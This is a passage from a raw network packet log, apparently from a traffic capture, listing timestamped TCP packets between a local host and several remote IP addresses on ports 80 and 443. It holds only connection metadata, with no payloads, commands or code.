Oct 31, 2024 05:07:22.140862942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140866041 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140880108 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140888929 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140897989 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140906096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140913963 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140923023 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140933037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140944958 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140949011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140952110 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140966892 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140974045 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140986919 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140991926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141001940 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141010046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141025066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141040087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141050100 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141055107 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141072035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141079903 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141083956 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141097069 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141113043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141119957 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141129017 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141139984 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141144991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141160011 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141160965 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141175032 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141177893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141192913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141208887 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141218901 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141223907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141236067 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141251087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141271114 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141285896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141309977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141324997 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141331911 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141340017 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141349077 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141355991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141371012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141377926 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141386986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141402006 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141405106 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141412020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141421080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141426086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141436100 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141452074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141460896 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141467094 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.141489983 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.141505957 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259702921 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259751081 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259774923 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259785891 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259792089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259798050 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259809017 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259816885 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259829998 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259833097 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259850025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259855986 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259871006 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259875059 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259882927 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259886980 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259902954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259917021 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259923935 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259939909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259951115 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.259963989 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259977102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.259991884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260001898 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260010958 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260016918 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260026932 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260042906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260044098 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260057926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260070086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260078907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260094881 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260102987 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260109901 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260118008 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260134935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260149002 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260150909 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260166883 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260174990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260180950 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260198116 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260205984 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260211945 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260221958 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260236025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260237932 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260260105 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260262966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260274887 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260276079 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260293007 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260294914 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260308981 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260339022 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260416985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260432959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260456085 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260471106 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260477066 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260488033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260493994 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260512114 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260523081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260529041 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260545015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260545969 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260569096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260581970 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260585070 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260596991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260611057 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260623932 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260648012 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260663986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260679007 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260694981 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260710001 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260725021 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260751009 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260778904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260802031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260817051 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260818005 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260833025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260848999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260854006 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260860920 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260885000 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260889053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260890961 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260902882 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260919094 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260931969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.260938883 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260951042 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.260966063 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261007071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261022091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261037111 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261050940 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261050940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261061907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261069059 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261084080 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261089087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261090994 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261101961 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261113882 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261127949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261135101 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261142969 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261151075 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261168003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261184931 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261193037 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261202097 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261215925 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261218071 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261234999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261261940 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261295080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261310101 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261326075 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261339903 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261353016 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261357069 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261372089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261379957 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261404037 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261419058 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261425972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261439085 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.261467934 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.261482954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380059004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380079985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380096912 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380106926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380119085 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380130053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380136013 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380141973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380160093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380170107 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380175114 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380182028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380194902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380194902 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380208015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380218983 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380219936 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380234957 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380244017 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380244970 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380259991 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380291939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380300999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380320072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380330086 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380347013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380350113 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380358934 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380358934 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380371094 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380374908 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380383968 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380393982 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380395889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380408049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380409002 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380433083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380451918 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380491018 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380501986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380512953 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380525112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380537033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380539894 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380549908 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380561113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380563021 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380572081 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380582094 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380584002 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380597115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380611897 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380641937 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.380944014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380955935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380966902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380978107 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380990028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.380992889 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381002903 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381005049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381016970 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381023884 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381028891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381041050 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381051064 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381055117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381073952 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381076097 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381087065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381089926 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381099939 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381110907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381118059 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381124020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381134987 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381140947 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381145954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381160021 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381170034 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381170988 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381190062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381197929 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381198883 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381220102 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381242990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381266117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381278038 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381289959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381304979 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381316900 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381335974 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381396055 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381407976 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381418943 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381431103 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381438017 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381443977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381452084 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381457090 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381469011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.381484985 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.381499052 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.964838028 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:22.964971066 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:22.965032101 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:22.965082884 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:22.965107918 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:24.128842115 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:24.128885984 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:24.128978968 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:24.129421949 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:24.129441023 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:24.622497082 CET	49845	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:24.622786045 CET	49907	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:24.627672911 CET	80	49907	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:24.627904892 CET	80	49845	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:24.627983093 CET	49845	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:24.628184080 CET	49907	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:24.628185034 CET	49907	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:24.632971048 CET	80	49907	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:24.739783049 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:24.739882946 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:24.741360903 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:24.741374016 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:24.741606951 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:24.742898941 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:24.742988110 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:24.742997885 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:25.175009012 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:25.175115108 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:25.175308943 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:25.229310989 CET	49902	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:25.229331017 CET	443	49902	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:25.546912909 CET	80	49907	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:25.546983004 CET	49907	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:25.560640097 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:25.560945034 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:25.565782070 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:25.565862894 CET	49913	80	192.168.2.4	185.215.113.16
